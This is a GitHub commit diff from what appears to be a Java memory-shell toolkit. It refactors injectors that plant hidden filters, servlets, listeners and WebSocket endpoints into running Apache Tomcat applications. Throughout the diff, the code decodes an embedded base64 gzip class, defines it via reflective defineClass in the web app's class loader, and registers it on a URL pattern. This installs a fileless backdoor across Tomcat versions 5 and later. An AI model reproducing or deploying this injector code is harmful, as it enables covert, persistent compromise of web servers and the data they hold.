Skip to content

Commit aa3c044

Browse files
committed
refactor: use webAppClassLoader for TomcatShell
1 parent ec25630 commit aa3c044

File tree

5 files changed

+88
-91
lines changed

5 files changed

+88
-91
lines changed

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java

Lines changed: 4 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -69,23 +69,10 @@ public void visitCode() {
6969
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
7070

7171
mv.visitLabel(tryStart);
72-
mv.visitLdcInsn(className);
73-
mv.visitInsn(Opcodes.ICONST_1);
74-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
75-
"java/lang/ClassLoader",
76-
"getSystemClassLoader",
77-
"()Ljava/lang/ClassLoader;",
78-
false);
79-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
80-
"java/lang/Class",
81-
"forName",
82-
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;",
83-
false);
84-
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
85-
"java/lang/Class",
86-
"newInstance",
87-
"()Ljava/lang/Object;",
88-
false);
72+
String internalClassName = className.replace('.', '/');
73+
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
74+
mv.visitInsn(Opcodes.DUP);
75+
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
8976
mv.visitInsn(Opcodes.SWAP);
9077
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
9178
"java/lang/Object",

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

Lines changed: 31 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -39,8 +39,8 @@ public TomcatFilterInjector() {
3939
try {
4040
List<Object> contexts = getContext();
4141
for (Object context : contexts) {
42-
Object filter = getShell(context);
43-
inject(context, filter);
42+
getShell(context);
43+
inject(context);
4444
}
4545
} catch (Exception e) {
4646
e.printStackTrace();
@@ -66,46 +66,48 @@ public List<Object> getContext() throws Exception {
6666
return contexts;
6767
}
6868

69+
private ClassLoader getWebAppClassLoader(Object context) {
70+
try {
71+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
72+
} catch (Exception e) {
73+
Object loader = invokeMethod(context, "getLoader", null, null);
74+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
75+
}
76+
}
77+
6978
@SuppressWarnings("all")
7079
private Object getShell(Object context) throws Exception {
71-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
72-
if (classLoader == null) {
73-
classLoader = context.getClass().getClassLoader();
74-
}
80+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
7581
try {
76-
return classLoader.loadClass(getClassName()).newInstance();
82+
return webAppClassLoader.loadClass(getClassName()).newInstance();
7783
} catch (Exception e) {
7884
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
7985
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
8086
defineClass.setAccessible(true);
81-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
87+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
8288
return clazz.newInstance();
8389
}
8490
}
8591

8692
@SuppressWarnings("all")
87-
public void inject(Object context, Object filter) throws Exception {
93+
public void inject(Object context) throws Exception {
8894
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
8995
System.out.println("filter already injected");
9096
return;
9197
}
9298
Object filterDef;
9399
Object filterMap;
100+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
94101
try {
95-
// tomcat v8/9
96-
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, context.getClass().getClassLoader()).newInstance();
97-
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, context.getClass().getClassLoader()).newInstance();
102+
// tomcat v8+
103+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
104+
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
98105
} catch (Exception e2) {
99-
// tomcat v6/7
100-
try {
101-
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
102-
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
103-
} catch (Exception e) {
104-
// tomcat v5
105-
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance();
106-
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance();
107-
}
106+
// tomcat v5+
107+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
108+
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
108109
}
110+
109111
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
110112
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
111113
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
@@ -114,30 +116,24 @@ public void inject(Object context, Object filter) throws Exception {
114116
Constructor<?>[] constructors;
115117
try {
116118
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
117-
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
118119
} catch (Exception e) {
119120
// tomcat v5
120121
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
121-
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
122122
}
123123
try {
124124
// v7.0.0 以上
125125
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
126126
} catch (Exception e) {
127127
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
128128
}
129-
constructors[0].setAccessible(true);
130-
try {
131-
Object filterConfig = constructors[0].newInstance(context, filterDef);
132-
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
133-
filterConfigs.put(getClassName(), filterConfig);
134-
System.out.println("filter inject success");
135-
} catch (Exception e) {
136-
// 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到
137-
if (!(e.getCause() instanceof ClassNotFoundException)) {
138-
throw e;
139-
}
140-
}
129+
130+
Constructor filterConfigConstructor;
131+
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
132+
filterConfigConstructor.setAccessible(true);
133+
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
134+
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
135+
filterConfigs.put(getClassName(), filterConfig);
136+
System.out.println("filter inject success");
141137
}
142138

143139
@SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

Lines changed: 12 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -61,19 +61,25 @@ public List<Object> getContext() throws Exception {
6161
return contexts;
6262
}
6363

64+
private ClassLoader getWebAppClassLoader(Object context) {
65+
try {
66+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
67+
} catch (Exception e) {
68+
Object loader = invokeMethod(context, "getLoader", null, null);
69+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
70+
}
71+
}
72+
6473
@SuppressWarnings("all")
6574
private Object getShell(Object context) throws Exception {
66-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
67-
if (classLoader == null) {
68-
classLoader = context.getClass().getClassLoader();
69-
}
75+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
7076
try {
71-
return classLoader.loadClass(getClassName()).newInstance();
77+
return webAppClassLoader.loadClass(getClassName()).newInstance();
7278
} catch (Exception e) {
7379
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
7480
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
7581
defineClass.setAccessible(true);
76-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
82+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
7783
return clazz.newInstance();
7884
}
7985
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

Lines changed: 21 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -62,19 +62,25 @@ public List<Object> getContext() throws Exception {
6262
return contexts;
6363
}
6464

65+
private ClassLoader getWebAppClassLoader(Object context) {
66+
try {
67+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
68+
} catch (Exception e) {
69+
Object loader = invokeMethod(context, "getLoader", null, null);
70+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
71+
}
72+
}
73+
6574
@SuppressWarnings("all")
6675
private Object getShell(Object context) throws Exception {
67-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
68-
if (classLoader == null) {
69-
classLoader = context.getClass().getClassLoader();
70-
}
76+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
7177
try {
72-
return classLoader.loadClass(getClassName()).newInstance();
78+
return webAppClassLoader.loadClass(getClassName()).newInstance();
7379
} catch (Exception e) {
7480
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
7581
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
7682
defineClass.setAccessible(true);
77-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
83+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
7884
return clazz.newInstance();
7985
}
8086
}
@@ -85,12 +91,8 @@ public void inject(Object context, Object servlet) throws Exception {
8591
System.out.println("servlet already injected");
8692
return;
8793
}
88-
Class<?> containerClass = null;
89-
try {
90-
containerClass = Class.forName("org.apache.catalina.Container");
91-
} catch (ClassNotFoundException var12) {
92-
containerClass = Class.forName("org.apache.catalina.Container", true, context.getClass().getClassLoader());
93-
}
94+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
95+
Class<?> containerClass = contextClassLoader.loadClass("org.apache.catalina.Container");
9496

9597
Object wrapper = invokeMethod(context, "createWrapper", null, null);
9698
invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -101,7 +103,7 @@ public void inject(Object context, Object servlet) throws Exception {
101103

102104
try {
103105
invokeMethod(context, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), getClassName()});
104-
} catch (NoSuchMethodException var11) {
106+
} catch (Exception var11) {
105107
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
106108
}
107109
support56Inject(context, wrapper);
@@ -121,7 +123,8 @@ public boolean isInjected(Object context) throws Exception {
121123
}
122124

123125
private void support56Inject(Object context, Object wrapper) throws Exception {
124-
Class<?> serverInfo = Class.forName("org.apache.catalina.util.ServerInfo", false, context.getClass().getClassLoader());
126+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
127+
Class<?> serverInfo = contextClassLoader.loadClass("org.apache.catalina.util.ServerInfo");
125128
String number = (String) invokeMethod(serverInfo, "getServerNumber", null, null);
126129
if (!number.startsWith("5") && !number.startsWith("6")) {
127130
return;
@@ -141,8 +144,8 @@ private void support56Inject(Object context, Object wrapper) throws Exception {
141144
if (getFieldValue(o, "object") != context) {
142145
continue;
143146
}
144-
Class<?> mapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper", false, context.getClass().getClassLoader());
145-
Class<?> wrapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$Wrapper", false, context.getClass().getClassLoader());
147+
Class<?> mapperClazz = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper");
148+
Class<?> wrapperClazz = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper$Wrapper");
146149
Constructor<?> declaredConstructor = wrapperClazz.getDeclaredConstructors()[0];
147150
declaredConstructor.setAccessible(true);
148151
Object newWrapper = declaredConstructor.newInstance();
@@ -153,7 +156,7 @@ private void support56Inject(Object context, Object wrapper) throws Exception {
153156
Object exactWrappers = getFieldValue(o, "exactWrappers");
154157
int length = Array.getLength(exactWrappers);
155158
Object newWrappers = Array.newInstance(wrapperClazz, length + 1);
156-
Class<?> mapElementClass = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$MapElement", false, context.getClass().getClassLoader());
159+
Class<?> mapElementClass = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper$MapElement");
157160
Class<?> mapElementArrayClass = Array.newInstance(mapElementClass, 0).getClass();
158161
invokeMethod(mapperClazz, "insertMap", new Class[]{mapElementArrayClass, mapElementArrayClass, mapElementClass}, new Object[]{exactWrappers, newWrappers, newWrapper});
159162
setFieldValue(o, "exactWrappers", newWrappers);
@@ -225,7 +228,7 @@ public static void setFieldValue(final Object obj, final String fieldName, final
225228
}
226229

227230
@SuppressWarnings("all")
228-
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
231+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
229232
try {
230233
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
231234
Method method = null;
@@ -245,8 +248,6 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
245248
}
246249
method.setAccessible(true);
247250
return method.invoke(obj instanceof Class ? null : obj, param);
248-
} catch (NoSuchMethodException e) {
249-
throw e;
250251
} catch (Exception e) {
251252
throw new RuntimeException("Error invoking method: " + methodName, e);
252253
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,10 @@
66
import java.lang.reflect.Constructor;
77
import java.lang.reflect.Field;
88
import java.lang.reflect.Method;
9-
import java.util.*;
9+
import java.util.ArrayList;
10+
import java.util.HashMap;
11+
import java.util.List;
12+
import java.util.Set;
1013
import java.util.zip.GZIPInputStream;
1114

1215
/**
@@ -63,19 +66,25 @@ public List<Object> getContext() throws Exception {
6366
return contexts;
6467
}
6568

69+
private ClassLoader getWebAppClassLoader(Object context) {
70+
try {
71+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
72+
} catch (Exception e) {
73+
Object loader = invokeMethod(context, "getLoader", null, null);
74+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
75+
}
76+
}
77+
6678
@SuppressWarnings("all")
6779
private Object getShell(Object context) throws Exception {
68-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
69-
if (classLoader == null) {
70-
classLoader = context.getClass().getClassLoader();
71-
}
80+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
7281
try {
73-
return classLoader.loadClass(getClassName()).newInstance();
82+
return webAppClassLoader.loadClass(getClassName()).newInstance();
7483
} catch (Exception e) {
7584
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
7685
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
7786
defineClass.setAccessible(true);
78-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
87+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
7988
return clazz.newInstance();
8089
}
8190
}
@@ -94,9 +103,9 @@ private void inject(Object obj, Object context) throws Exception {
94103
return;
95104
}
96105

97-
ClassLoader classLoader = context.getClass().getClassLoader();
98-
Class<?> serverEndpointConfigClass = classLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
99-
Class<?> builderClass = classLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
106+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
107+
Class<?> serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
108+
Class<?> builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
100109
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
101110
constructor.setAccessible(true);
102111
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
@@ -143,7 +152,7 @@ public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
143152

144153

145154
@SuppressWarnings("all")
146-
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
155+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
147156
try {
148157
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
149158
Method method = null;
@@ -163,8 +172,6 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
163172
}
164173
method.setAccessible(true);
165174
return method.invoke(obj instanceof Class ? null : obj, param);
166-
} catch (NoSuchMethodException e) {
167-
throw e;
168175
} catch (Exception e) {
169176
throw new RuntimeException("Error invoking method: " + methodName, e);
170177
}

0 commit comments

Comments
 (0)